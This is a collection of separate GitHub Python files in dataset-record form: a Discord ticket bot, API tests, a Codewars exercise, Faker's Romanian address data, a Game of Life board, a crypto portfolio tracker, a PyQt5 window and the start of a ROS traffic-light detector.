\n","repo_name":"BjornThor123/FinalProjectREI505M","sub_path":"Agent_Trainer.py","file_name":"Agent_Trainer.py","file_ext":"py","file_size_in_byte":3135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72211510407","text":"import discord\nfrom discord.ext import commands\n\nfrom req import core\n\n\nclass Bot(core.Core):\n    def __init__(self):\n        super().__init__(\"Nico\", [Events, Commands])\n\n\nclass Events(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n\n\nclass Commands(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n\n    @commands.group(name=\"ticket\", aliases=[\"t\"], invoke_without_command=True)\n    async def ticket(self, ctx, *, info=None):\n        perms = {\n            ctx.guild.default_role: discord.PermissionOverwrite(read_messages=False),\n            ctx.guild.get_role(self.bot.config.roles['moderator']): discord.PermissionOverwrite(read_messages=True),\n            ctx.guild.get_role(self.bot.config.roles['admin']): discord.PermissionOverwrite(read_messages=True),\n            ctx.author: discord.PermissionOverwrite(read_messages=True)\n        }\n        ch = await ctx.guild.create_text_channel(name=\"ticket\", category=self.bot.get_channel(748286304944390264), overwrites=perms)\n\n        embed=discord.Embed(title=f\"{ctx.author.display_name} opened a ticket\",\n                            description=info,\n                            color=0xfefefe)\n        m = await ch.send(\"@everyone\", embed=embed)\n        await m.pin()\n\n    @ticket.command(name=\"add\")\n    async def ticket_add(self, ctx, user:discord.Member):\n        await ctx.channel.edit(overwrites={**ctx.channel.overwrites, user: discord.PermissionOverwrite(read_messages=True)})\n        m = await ctx.channel.send(user.mention, embed=discord.Embed(description=f\"**{ctx.author.display_name}** added **{user.display_name}**\", color=0x22cc22))\n        await m.pin()\n\n    @ticket.command(name=\"remove\")\n    async def ticket_remove(self, ctx, user:discord.Member):\n        await ctx.channel.edit(overwrites={**ctx.channel.overwrites, user: discord.PermissionOverwrite(read_messages=None)})\n        m = await ctx.channel.send(user.mention, embed=discord.Embed(description=f\"**{ctx.author.display_name}** removed **{user.display_name}**\", color=0xcc2222))\n\n    @ticket.command(name=\"comment\")\n    async def ticket_comment(self, ctx, *, body):\n        m = await ctx.send(embed=discord.Embed(title=f\"Comment by {ctx.author.display_name}\",\n                                               description=body,\n                                               color=0x33aaff))\n        m = await m.pin()\n        await m.delete()\n\n    @ticket.command(name=\"close\")\n    async def ticket_close(self, ctx):\n        await ctx.channel.edit(overwrites={**ctx.channel.overwrites, ctx.guild.default_role: discord.PermissionOverwrite(read_messages=False, send_messages=False)})\n\n\nBot()","repo_name":"Elli83/CliqueBots","sub_path":"nico.py","file_name":"nico.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"3544787952","text":"import unittest\n\nimport pytest\nfrom aiohttp import web\n\nfrom resources.procedures import ProcedureResource as pr\n\nJSON = [{\n    \"id\": 1,\n    \"name\": \"Procedure 1\",\n    \"active\": 1},\n    {\n    \"id\": 2,\n    \"name\": \"Procedure 2\",\n    \"active\": 1,\n}]\n\nJSON_DETAIL = {\n    \"id\": 1,\n    \"name\": \"Procedure 1\",\n    \"active\": 1}\n\nJSON_REGISTER = {\n    \"id\": 3,\n    \"name\": \"Procedure 3\",\n    \"active\": 1}\n\n\nclass TestProcedure(unittest.TestCase):\n    @pytest.fixture\n    def cli(loop, test_client):\n        app = web.Application()\n        app.router.add_get(r\"/procedures\", pr().get_list)\n        app.router.add_get(\n            r\"/procedures/{procedure_id}\".format(\n                procedure_id), pr().get_detail)\n        app.router.add_post(r\"/procedures\", pr().register)\n        app.router.add_put(r\"/procedures/{procedure_id}\", pr().alter)\n        app.router.add_delete(r\"/procedures/{procedure_id}\", pr().delete)\n        return loop.run_until_complete(test_client(app))\n\n    async def test_01_get_list(cli):\n        cli.server.app[\"procedures\"] = JSON\n        resp = await cli.get(\"/procedures\")\n        assert resp.status == 200\n        assert await resp.text() == JSON\n\n    async def test_02_get_detail(cli):\n        cli.server.app = JSON_DETAIL\n        resp = await cli.get(\"/procedures/{}\".format(\n            JSON_DETAIL[\"id\"]))\n        assert resp.status == 200\n        assert await resp.text() == JSON_DETAIL\n\n    async def test_03_register(cli):\n        cli.server.app = JSON_REGISTER\n        resp = await cli.post(\"/procedures\", data=JSON_REGISTER)\n        assert resp.status == 302\n        assert await resp.text() == JSON_REGISTER\n\n    async def test_04_alter(cli):\n        JSON_DETAIL[\"name\"] = \"procedure (NEW)\"\n        cli.server.app = JSON_DETAIL\n        resp = await cli.put(\"/procedures/{}\".format(\n            JSON_DETAIL[\"id\"]))\n        assert resp.status == 302\n        assert await resp.text() == JSON_DETAIL\n\n    async def test_05_delete(cli):\n        resp = await cli.delete(\"/procedures/{}\".format(\n            JSON_DETAIL[\"id\"]))\n        assert resp.status == 204\n        assert await resp.text() == \"\"\n","repo_name":"fernandochimi/medical-appointment","sub_path":"src/tests/test_procedure.py","file_name":"test_procedure.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19392879818","text":"# Reverse every other word in a given string, then return the string. Throw away any leading or trailing whitespace, while ensuring there is exactly one space between each word. Punctuation marks should be treated as if they are a part of the word in this kata.\n\n#Psuedo:\n# strip spaces\n# split into list\n# loop indices of list,\n#  if i = odd,\n#    reverse by reverse slicing\n#  append\n# join\n\n# def reverse_alternate(s):\n\n#     s= s.strip()\n#     s = s.split()\n#     lst_output = []\n    \n#     for i in range(len(s)):\n#         if i % 2 != 0:\n#             lst_output.append(s[i][::-1])\n#         else:\n#             lst_output.append(s[i])\n    \n#     output = \" \".join(lst_output)\n#     return output\n\n    #Class version:\nclass Reverse():\n\n    def __init__(self,s):\n        self.s = s\n\n    def strip_split(self):\n        s = self.s\n        s = s.strip()\n        s = s.split()\n        return s\n\n    def reverse_alternate(self):    \n        s = self.strip_split()\n\n        lst_output = []\n        \n        for i in range(len(s)):\n            if i % 2 != 0:\n                lst_output.append(s[i][::-1])\n            else:\n                lst_output.append(s[i])\n        \n        output = \" \".join(lst_output)\n        return output\n\ntest1 = Reverse(\"Did it work?\")\n\nprint(test1.reverse_alternate())","repo_name":"JACedwards/Code_Wars_Solutions","sub_path":"ReverseEveryOtherWord.py","file_name":"ReverseEveryOtherWord.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70046339530","text":"\"\"\"\nGet prices from one file and use this prices fo all products in another file.\nwrite result with correct prices in output file.\n\nUsage:\n    fix_price.py --if=<infile> --df=<datafile> --of=<output_file>\n\"\"\"\nfrom docopt import docopt\nfrom clint.textui import progress\narguments = docopt(__doc__)\nifile = arguments['--if']\ndfile = arguments['--df']\nofile = arguments['--of']\n\nprices = {}\nwith open(ifile) as inf:\n    for line in inf.readlines():\n        game_data = line.split('\\t')\n        name = game_data[1]\n        price = game_data[2]\n        prices[name] = price\n\nnew_lines = []\nwith open(dfile) as df:\n    for line in df.readlines():\n        game_data = line.split('\\t')\n        name = game_data[1]\n        game_data[2] = prices.get(name,'0')\n        new_lines.append('\\t'.join(game_data))\n\nwith open(ofile,'w') as of:\n    of.writelines(new_lines)\n","repo_name":"stivsh/gtool","sub_path":"fix_price.py","file_name":"fix_price.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17692633125","text":"from typing import Tuple\n\nfrom .. import Provider as AddressProvider\n\n\nclass Provider(AddressProvider):\n    street_prefixes = (\n        \"Strada\",\n        \"Aleea\",\n        \"Intrarea\",\n        \"Bulevardul\",\n        \"Soseaua\",\n        \"Drumul\",\n    )\n    street_name_formats = (\n        \"{{street_prefix}} {{last_name}}\",\n        \"{{street_prefix}} {{first_name}} {{last_name}}\",\n        \"{{street_prefix}} {{last_name}}\",\n    )\n    street_address_formats = (\n        \"{{street_name}}\",\n        \"{{street_name}} {{building_number}}\",\n        \"{{street_name}} {{building_number}} {{secondary_address}}\",\n    )\n    address_formats = (\"{{street_address}}\\n{{city}}, {{postcode}}\",)\n    building_number_formats = (\"Nr. %#\", \"Nr. %##\")\n    secondary_address_formats = (\"Bl. %#  Sc. %# Ap. %##\",)\n    postcode_formats = (\n        \"1#####\",\n        \"2#####\",\n        \"3#####\",\n        \"4#####\",\n        \"5#####\",\n        \"6#####\",\n        \"7#####\",\n        \"8#####\",\n        \"9#####\",\n    )\n    city_formats = (\"{{city_name}}\",)\n    cities = (\n        \"Cluj-Napoca\",\n        \"Timisoara\",\n        \"Iasi\",\n        \"Constanta\",\n        \"Craiova\",\n        \"Brasov\",\n        \"Galati\",\n        \"Ploiesti\",\n        \"Oradea\",\n        \"Braila\",\n        \"Arad\",\n        \"Pitesti\",\n        \"Sibiu\",\n        \"Bacau\",\n        \"Targu Mures\",\n        \"Baia Mare\",\n        \"Buzau\",\n        \"Botosani\",\n        \"Satu Mare\",\n        \"Suceava\",\n        \"Ramnicu Valcea\",\n        \"Drobeta-Turnu Severin\",\n        \"Piatra-Neamt\",\n        \"Targoviste\",\n        \"Targu Jiu\",\n        \"Focsani\",\n        \"Tulcea\",\n        \"Resita\",\n        \"Slatina\",\n        \"Bistrita\",\n        \"Calarasi\",\n        \"Giurgiu\",\n        \"Deva\",\n        \"Hunedoara\",\n        \"Zalau\",\n        \"Barlad\",\n        \"Alba Iulia\",\n        \"Sfantu Gheorghe\",\n        \"Roman\",\n        \"Vaslui\",\n        \"Turda\",\n        \"Medias\",\n        \"Alexandria\",\n        \"Voluntari\",\n        \"Pipera (Voluntari)\",\n        \"Slobozia\",\n        \"Lugoj\",\n        \"Medgidia\",\n        \"Onesti\",\n        \"Miercurea-Ciuc\",\n        \"Petrosani\",\n        \"Tecuci\",\n        \"Mangalia\",\n        \"Odorheiu Secuiesc\",\n        \"Ramnicu Sarat\",\n        \"Sighetu Marmatiei\",\n        \"Campina\",\n        \"Navodari\",\n        \"Campulung\",\n        \"Caracal\",\n        \"Sacele\",\n        \"Fagaras\",\n        \"Dej\",\n        \"Rosiori de Vede\",\n        \"Mioveni\",\n        \"Curtea de Arges\",\n        \"Husi\",\n        \"Reghin\",\n        \"Sighisoara\",\n        \"Pantelimon\",\n        \"Pascani\",\n        \"Oltenita\",\n        \"Turnu Magurele\",\n        \"Caransebes\",\n        \"Falticeni\",\n        \"Radauti\",\n        \"Lupeni\",\n        \"Dorohoi\",\n        \"Vulcan\",\n        \"Campia Turzii\",\n        \"Zarnesti\",\n        \"Borsa\",\n        \"Popesti-Leordeni\",\n        \"Codlea\",\n        \"Carei\",\n        \"Moinesti\",\n        \"Petrila\",\n        \"Sebes\",\n        \"Tarnaveni\",\n        \"Floresti\",\n        \"Gherla\",\n        \"Fetesti-Gara\",\n        \"Buftea\",\n        \"Cugir\",\n        \"Moreni\",\n        \"Gheorgheni\",\n        \"Comanesti\",\n        \"Salonta\",\n        \"Cernavoda\",\n        \"Targu Secuiesc\",\n        \"Bailesti\",\n        \"Campulung Moldovenesc\",\n        \"Aiud\",\n        \"Dragasani\",\n        \"Valea Caselor (Dragasani)\",\n        \"Bals\",\n        \"Bocsa\",\n        \"Motru\",\n        \"Corabia\",\n        \"Bragadiru\",\n        \"Urziceni\",\n        \"Rasnov\",\n        \"Rasnov Romacril\",\n        \"Buhusi\",\n        \"Zimnicea\",\n        \"Marghita\",\n        \"Mizil\",\n        \"Cisnadie\",\n        \"Targu Neamt\",\n        \"Calafat\",\n        \"Vatra Dornei\",\n        \"Adjud\",\n        \"Gaesti\",\n        \"Tandarei\",\n        \"Gura Humorului\",\n        \"Chitila\",\n        \"Viseu de Sus\",\n        \"Otopeni\",\n        \"Ludus\",\n        \"Brad\",\n        \"Dragu-Brad\",\n        \"Valu lui Traian\",\n        \"Cumpana\",\n        \"Sannicolau Mare\",\n        \"Valenii de Munte\",\n        \"Jilava\",\n        \"Dabuleni\",\n        \"Filiasi\",\n        \"Blaj\",\n        \"Ovidiu\",\n        \"Simleu Silvaniei\",\n        \"Matca\",\n        \"Pecica\",\n        \"Rovinari\",\n        \"Videle\",\n        \"Baicoi\",\n        \"Pucioasa\",\n        \"Jimbolia\",\n        \"Baia Sprie\",\n        \"Targu Frumos\",\n        \"Vicovu de Sus\",\n        \"Orsova\",\n        \"Sinaia\",\n        \"Negresti-Oas\",\n        \"Beius\",\n        \"Santana\",\n        \"Pechea\",\n        \"Simeria\",\n        \"Boldesti-Scaeni\",\n        \"Poienile de sub Munte\",\n        \"Valea lui Mihai\",\n        \"Covasna\",\n        \"Targu Ocna\",\n        \"Toplita\",\n        \"Sovata\",\n        \"Otelu Rosu\",\n        \"Oravita\",\n        \"Moisei\",\n        \"Harsova\",\n        \"Murfatlar\",\n        \"Beclean\",\n        \"Poiana Mare\",\n        \"Huedin\",\n        \"Babadag\",\n        \"Marasesti\",\n        \"Topoloveni\",\n        \"Sangeorgiu de Mures\",\n        \"Jibou\",\n        \"Sabaoani\",\n        \"Hateg\",\n        \"Avrig\",\n        \"Darmanesti\",\n        \"Marginea\",\n        \"Moldova Veche\",\n        \"Ineu\",\n        \"Bolintin-Vale\",\n        \"Mihail Kogalniceanu\",\n        \"Macin\",\n        \"Tomesti\",\n        \"Nasaud\",\n        \"Uricani\",\n        \"Rosu\",\n        \"Calan\",\n        \"Borcea\",\n        \"Afumati\",\n        \"Domnesti\",\n        \"Draganesti-Olt\",\n        \"Cristuru Secuiesc\",\n        \"1 Decembrie\",\n        \"Lumina\",\n        \"Fetesti\",\n        \"Mogosoaia\",\n        \"Modelu\",\n        \"Dumbravita\",\n        \"Seini\",\n        \"Alesd\",\n        \"Sangeorz-Bai\",\n        \"Curtici\",\n        \"Darabani\",\n        \"Nadlac\",\n        \"Victoria\",\n        \"Amara\",\n        \"Branesti\",\n        \"Harlau\",\n        \"Lipova\",\n        \"Techirghiol\",\n        \"Agnita\",\n        \"Sacueni\",\n        \"Titu\",\n        \"Siret\",\n        \"Segarcea\",\n        \"Odobesti\",\n        \"Podu Iloaiei\",\n        \"Ocna Mures\",\n        \"Urlati\",\n        \"Strehaia\",\n        \"Tasnad\",\n        \"Cajvana\",\n        \"Tuzla\",\n        \"Sadova\",\n        \"Vlahita\",\n        \"Stei\",\n        \"Diosig\",\n        \"Cobadin\",\n        \"Gilau\",\n        \"Vladimirescu\",\n        \"Dancu\",\n        \"Bumbesti-Jiu\",\n        \"Busteni\",\n        \"Peretu\",\n        \"Cudalbi\",\n        \"Bosanci\",\n        \"Balotesti\",\n        \"Lunca Cetatuii\",\n        \"Dragalina\",\n        \"Fieni\",\n        \"Chisineu-Cris\",\n        \"Balan\",\n        \"Sandominic\",\n        \"Strejnicu\",\n        \"Baciu\",\n        \"Fundulea\",\n        \"Remetea\",\n        \"Fagetel (Remetea)\",\n        \"Ianca\",\n        \"Roseti\",\n        \"Breaza de Sus\",\n        \"Cornetu\",\n        \"Insuratei\",\n        \"Apahida\",\n        \"Berceni\",\n        \"Vicovu de Jos\",\n        \"Savinesti (Poiana Teiului)\",\n        \"Savinesti\",\n        \"Teius\",\n        \"Barbulesti\",\n        \"Plosca\",\n        \"Toflea\",\n        \"Magurele\",\n        \"Feldru\",\n        \"Anina\",\n        \"Negresti\",\n        \"Valea Mare (Negresti)\",\n        \"Peris\",\n        \"Fundeni\",\n        \"Giroc\",\n        \"Baile Borsa\",\n        \"Oituz\",\n        \"Rucar\",\n        \"Curcani\",\n        \"Babeni\",\n        \"Valea Mare (Babeni)\",\n        \"Rodna\",\n        \"Deta\",\n        \"Ruscova\",\n        \"Intorsura Buzaului\",\n        \"Pancota\",\n        \"Glina\",\n        \"Talmaciu\",\n        \"Copsa Mica\",\n        \"Motatei\",\n        \"Gugesti\",\n        \"Schela Cladovei\",\n        \"Sancraiu de Mures\",\n        \"Iernut\",\n        \"Targu Lapus\",\n        \"Maieru\",\n        \"Prejmer\",\n        \"Pogoanele\",\n        \"Dobroesti\",\n        \"Baraolt\",\n        \"Arbore\",\n        \"Homocea\",\n        \"Corund\",\n        \"Tufesti\",\n        \"Giarmata\",\n        \"Baia\",\n        \"Dumbraveni\",\n        \"Eforie Nord\",\n        \"Horodnic de Sus\",\n        \"Greci\",\n        \"Tudora\",\n        \"Straja\",\n        \"Rasinari\",\n        \"Sebis\",\n        \"Raducaneni\",\n        \"Siria\",\n        \"Paunesti\",\n        \"Saveni\",\n        \"Tunari\",\n    )\n\n    states: Tuple[Tuple[str, str], ...] = (\n        (\"AB\", \"Alba\"),\n        (\"AG\", \"Argeș\"),\n        (\"AR\", \"Arad\"),\n        (\"B\", \"București\"),\n        (\"BC\", \"Bacău\"),\n        (\"BH\", \"Bihor\"),\n        (\"BN\", \"Bistrița-Năsăud\"),\n        (\"BR\", \"Brăila\"),\n        (\"BT\", \"Botoșani\"),\n        (\"BV\", \"Brașov\"),\n        (\"BZ\", \"Buzău\"),\n        (\"CJ\", \"Cluj\"),\n        (\"CL\", \"Călărași\"),\n        (\"CS\", \"Caraș Severin\"),\n        (\"CT\", \"Constanța\"),\n        (\"CV\", \"Covasna\"),\n        (\"DB\", \"Dâmbovița\"),\n        (\"DJ\", \"Dolj\"),\n        (\"GJ\", \"Gorj\"),\n        (\"GL\", \"Galați\"),\n        (\"GR\", \"Giurgiu\"),\n        (\"HD\", \"Hunedoara\"),\n        (\"HR\", \"Harghita\"),\n        (\"IF\", \"Ilfov\"),\n        (\"IL\", \"Ialomița\"),\n        (\"IS\", \"Iași\"),\n        (\"MH\", \"Mehedinți\"),\n        (\"MM\", \"Maramureș\"),\n        (\"MS\", \"Mureș\"),\n        (\"NT\", \"Neamț\"),\n        (\"OT\", \"Olt\"),\n        (\"PH\", \"Prahova\"),\n        (\"SB\", \"Sibiu\"),\n        (\"SJ\", \"Sălaj\"),\n        (\"SM\", \"Satu Mare\"),\n        (\"SV\", \"Suceava\"),\n        (\"TL\", \"Tulcea\"),\n        (\"TM\", \"Timiș\"),\n        (\"TR\", \"Teleorman\"),\n        (\"VL\", \"Vâlcea\"),\n        (\"VN\", \"Vrancea\"),\n        (\"VS\", \"Vaslui\"),\n    )\n\n    def street_prefix(self) -> str:\n        \"\"\"\n        :example: 'Strada'\n        \"\"\"\n        return self.random_element(self.street_prefixes)\n\n    def secondary_address(self) -> str:\n        \"\"\"\n        :example: 'Bl. 123 Sc. 2 Ap. 15'\n        \"\"\"\n        return self.numerify(self.random_element(self.secondary_address_formats))\n\n    def city_name(self) -> str:\n        return self.random_element(self.cities)\n\n    def city_with_postcode(self) -> str:\n        return self.postcode() + \" \" + self.random_element(self.cities)\n\n    def administrative_unit(self) -> str:\n        \"\"\"\n        :example: u'Timiș'\n        \"\"\"\n        return self.random_element(self.states)[1]  # type: ignore\n\n    state = administrative_unit\n\n    def state_abbr(self) -> str:\n        \"\"\"\n        :example: u'TM'\n        \"\"\"\n        return self.random_element(self.states)[0]  # type: ignore\n","repo_name":"joke2k/faker","sub_path":"faker/providers/address/ro_RO/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9633,"program_lang":"python","lang":"hr","doc_type":"code","stars":16539,"dataset":"github-code","pt":"16"}
+{"seq_id":"40781936085","text":"from pieces.cell import Cell  \n\nclass Board:\n\n    number_of_rows = 50\n    number_of_columns = 50\n    direction_dict = {\n        'UP': (0, 1),\n        'DOWN': (0, -1),\n        'LEFT': (-1, 0),\n        'RIGHT': (1, 0),\n        'UP_LEFT': (-1, 1),\n        'UP_RIGHT': (1, 1),\n        'DOWN_LEFT': (1, -1),\n        'DOWN_RIGHT': (-1, -1),\n    }\n\n    def __init__(self, rules):\n        self.grid = [[Cell(x, y) for y in range(self.number_of_rows)] for x in range(self.number_of_columns)]\n        self.gen = 0\n        self.rules = rules\n\n    def next_gen(self):\n        # Check Neighbors\n        for x in range(self.number_of_columns): # O(n)\n            for y in range(self.number_of_rows): # O(n)\n                temp_cell = self.grid[x][y]\n                for dir_x, dir_y in self.direction_dict.values(): # O(n)\n                    if x + dir_x >= 0 and y + dir_y >= 0 and x + dir_x < Board.number_of_columns and y + dir_y < Board.number_of_rows:\n                        temp_neighbor = self.grid[x + dir_x][y + dir_y]\n                        if temp_neighbor.isAlive():\n                            temp_cell.add_neighbor()\n                            \n        # update grid\n        for x in range(self.number_of_columns):  # O(n)\n            for y in range(self.number_of_rows):  # O(n)\n                self.grid[x][y].update(self.rules)\n\n        self.gen += 1\n        return self.gen\n\n    def __str__(self):\n        output = ''\n        for i in range(len(self.grid)):\n            output += ' '.join(map(str, self.grid[i])) + '\\n'\n\n        return output\n","repo_name":"LiranCaduri/Conway-sGameOfLife","sub_path":"pieces/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"73799555847","text":"import csv\nfrom datetime import datetime\n\nfrom trade_plate.tools.constants import PORTFOLIO\n\nimport matplotlib.pyplot as plt\n\n# ['Date', 'Type', 'Buy Amount', 'Currency', 'Sell Amount', 'Currency',\n# 'Fee Amount', 'Currency', 'Exchange', 'Comment', 'Deduct']\n\n\nclass CURRENCIES:\n    BTC = \"BTC\"\n    ETH = \"ETH\"\n    NEAR = \"NEAR\"\n    MINA = \"MINA\"\n    GRT = \"GRT\"\n    USD = \"USD\"\n    EUR = \"EUR\"\n\n\nbtc_portfolio = []\neth_portfolio = []\nnear_portfolio = []\nmina_portfolio = []\ngrt_portfolio = []\nwith open(PORTFOLIO.PATH, newline=\"\") as csvfile:\n    csv_reader = csv.reader(csvfile, delimiter=\",\")\n\n    for row in csv_reader:\n        if (\n            row[3] == CURRENCIES.BTC\n            and (row[5] == CURRENCIES.USD or row[5] == CURRENCIES.EUR)\n        ) or (\n            (row[3] == CURRENCIES.USD or row[3] == CURRENCIES.EUR)\n            and row[5] == CURRENCIES.BTC\n        ):\n            btc_portfolio.append(row)\n        if (row[3] == CURRENCIES.ETH and row[5] == CURRENCIES.USD) or (\n            row[3] == CURRENCIES.USD and row[5] == CURRENCIES.ETH\n        ):\n            eth_portfolio.append(row)\n        if (row[3] == CURRENCIES.NEAR and row[5] == CURRENCIES.USD) or (\n            row[3] == CURRENCIES.USD and row[5] == CURRENCIES.NEAR\n        ):\n            near_portfolio.append(row)\n        if (row[3] == CURRENCIES.MINA and row[5] == CURRENCIES.USD) or (\n            row[3] == CURRENCIES.USD and row[5] == CURRENCIES.MINA\n        ):\n            mina_portfolio.append(row)\n        if (row[3] == CURRENCIES.GRT and row[5] == CURRENCIES.USD) or (\n            row[3] == CURRENCIES.USD and row[5] == CURRENCIES.GRT\n        ):\n            grt_portfolio.append(row)\n\n\ndef summary(portfolio: list):\n    buy_cost: float = 0\n    buy_amount: float = 0\n    sell_cost: float = 0\n    sell_amount: float = 0\n    for row in portfolio:\n        date_time = datetime.strptime(row[0], \"%m/%d/%Y %H:%M:%S\")\n        if date_time > datetime(2022, 11, 1):\n            if row[1] == \"Buy\":\n                buy_amount += float(row[2])\n                buy_cost += float(row[4])\n            elif row[1] == \"Sell\":\n                sell_amount += float(row[4])\n                sell_cost += float(row[2])\n            else:\n                print(f\"Unknown type: {row[1]}\")\n\n    return buy_cost, buy_amount\n\n\ndef show(cost, amount):\n    if amount:\n        print(f\"Cost: {cost}\\nAmount: {amount}\\nAverage: {(cost) / (amount)}\")\n\n\ntotal_cost = 0\nsizes = []\n\nprint(\"BTC\")\ncost, amount = summary(btc_portfolio)\ntotal_cost += cost\nsizes.append(cost)\nshow(cost, amount)\nprint(\"-------------------\")\nprint(\"ETH\")\ncost, amount = summary(eth_portfolio)\ntotal_cost += cost\nsizes.append(cost)\nshow(cost, amount)\nprint(\"-------------------\")\nprint(\"NEAR\")\ncost, amount = summary(near_portfolio)\ntotal_cost += cost\nsizes.append(cost)\nshow(cost, amount)\nprint(\"-------------------\")\nprint(\"MINA\")\ncost, amount = summary(mina_portfolio)\ntotal_cost += cost\nsizes.append(cost)\nshow(cost, amount)\nprint(\"-------------------\")\nprint(\"GRT\")\ncost, amount = summary(grt_portfolio)\ntotal_cost += cost\nsizes.append(cost)\nshow(cost, amount)\nprint(\"-------------------\")\nprint(f\"Total Cost: {total_cost}\")\n\nlabels = (\n    CURRENCIES.BTC,\n    CURRENCIES.ETH,\n    CURRENCIES.NEAR,\n    CURRENCIES.MINA,\n    CURRENCIES.GRT,\n)\nexplode = (0, 0, 0, 0, 0)\n\nfig1, ax1 = plt.subplots()\nax1.pie(\n    sizes, explode=explode, labels=labels, autopct=\"%1.1f%%\", shadow=True, startangle=90\n)\nax1.axis(\"equal\")\n\nplt.show()\n","repo_name":"alperozaydin/trade-plate","sub_path":"trade_plate/tools/portfolio_tracker/crypto_pro.py","file_name":"crypto_pro.py","file_ext":"py","file_size_in_byte":3458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15858782211","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QMessageBox\nfrom window01 import Ui_Window01\n\n\nclass Ui_MainWindow(object):\n\n    # def __init__(self):\n    #     self.pushButton = None\n    #     self.textEdit = None\n    #     self.label = None\n    #     self.centralwidget = None\n    #     self.ui = None\n    #     self.window = None\n\n    def openWindow(self):\n        self.window = QtWidgets.QMainWindow()\n        self.ui = Ui_Window01()\n        edges = self.get_edges()\n        if edges is not None:\n            self.ui.edges = edges\n            self.ui.setupUi(self.window)\n            self.window.show()\n\n    def get_edges(self):\n        edges_text = self.textEdit.toPlainText()\n        try:\n            edges = int(edges_text)\n        except ValueError:\n            QMessageBox.critical(None, \"Invalid input\", \"Please enter a valid integer\")\n            return None\n        return edges\n\n    # def openWindow(self):\n    #     self.window  = QtWidgets.QMainWindow()\n    #     self.ui = Ui_Window01()\n    #     self.get_edges()\n    #     self.ui.setupUi(self.window)\n    #     self.window.show()\n\n    # def get_edges(self):\n    #     edges = self.textEdit.toPlainText()\n    #     edges = int(edges)\n    #     # sending variables to the next Window\n    #     self.ui.edges = edges\n\n\n    def setupUi(self, MainWindow):\n        MainWindow.setObjectName(\"MainWindow\")\n        MainWindow.resize(550, 500)\n        self.centralwidget = QtWidgets.QWidget(MainWindow)\n        self.centralwidget.setObjectName(\"centralwidget\")\n        self.label = QtWidgets.QLabel(self.centralwidget)\n        self.label.setGeometry(QtCore.QRect(30, 110, 281, 71))\n        font = QtGui.QFont()\n        font.setPointSize(9)\n        self.label.setFont(font)\n        self.label.setObjectName(\"label\")\n        self.textEdit = QtWidgets.QTextEdit(self.centralwidget)\n        self.textEdit.setGeometry(QtCore.QRect(299, 130, 55, 30))\n        self.textEdit.setObjectName(\"textEdit\")\n        self.pushButton = QtWidgets.QPushButton(self.centralwidget)\n        self.pushButton.setGeometry(QtCore.QRect(390, 220, 81, 31))\n        self.pushButton.clicked.connect(self.openWindow)           # this line to call the next window.\n        font = QtGui.QFont()\n        font.setPointSize(9)\n        self.pushButton.setFont(font)\n        self.pushButton.setObjectName(\"pushButton\")\n        MainWindow.setCentralWidget(self.centralwidget)\n\n        self.retranslateUi(MainWindow)\n        QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n    def retranslateUi(self, MainWindow):\n        _translate = QtCore.QCoreApplication.translate\n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\n        self.label.setText(_translate(\"MainWindow\", \"How many Edges has the Graph : \"))\n        self.pushButton.setText(_translate(\"MainWindow\", \"Next\"))\n\n\nif __name__ == \"__main__\":\n    import sys\n    app = QtWidgets.QApplication(sys.argv)\n    MainWindow = QtWidgets.QMainWindow()\n    ui = Ui_MainWindow()\n    ui.setupUi(MainWindow)\n    MainWindow.show()\n    sys.exit(app.exec_())\n","repo_name":"fahadperwani/tree_decomposition","sub_path":"welcome.py","file_name":"welcome.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32766021231","text":"#!/usr/bin/env python\nimport rospy\nfrom std_msgs.msg import Int32\nfrom geometry_msgs.msg import PoseStamped, Pose\nfrom styx_msgs.msg import TrafficLightArray, TrafficLight\nfrom styx_msgs.msg import Lane\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge\nfrom light_classification.tl_classifier import TLClassifier\nimport tf\nimport cv2\nimport yaml\n\nimport math\n\nSTATE_COUNT_THRESHOLD = 3\nMAX_LIGHTS_DISTANCE = 300\nMIN_LIGHTS_DISTANCE = 20\n\nclass GroundTruthBuilder(object):\n    def __init__(self):\n        self.red_count = 0;\n        self.yellow_count = 0;\n        self.green_count = 0;\n        self.images_dir = \"/home/student/saved_images\"\n        self.red_dir = self.images_dir + \"/red\"\n        self.yellow_dir = self.images_dir + \"/yellow\"\n        self.green_dir = self.images_dir + \"/green\"\n\n    def save_image(self, light, image):\n        img_file = None\n        if light == TrafficLight.RED:\n            self.red_count = self.red_count + 1\n            img_file = '%s/%d.png' % (self.red_dir, self.red_count)\n        elif light == TrafficLight.YELLOW:\n            self.yellow_count = self.yellow_count + 1\n            img_file = '%s/%d.png' % (self.yellow_dir, self.yellow_count)\n        elif light == TrafficLight.GREEN:\n            self.green_count = self.green_count + 1\n            img_file = '%s/%d.png' % (self.green_dir, self.green_count)\n\n        if img_file is not None:\n            rospy.loginfo(\"img_file %s\", img_file)\n            cv2.imwrite(img_file, image)\n            rospy.loginfo(\"Total: %d; Red: %d; Yellow: %d; Green: %d\",\n                          (self.red_count + self.yellow_count + self.green_count),\n                          self.red_count, self.yellow_count, self.green_count)\n\nclass TLDetector(object):\n    def __init__(self):\n        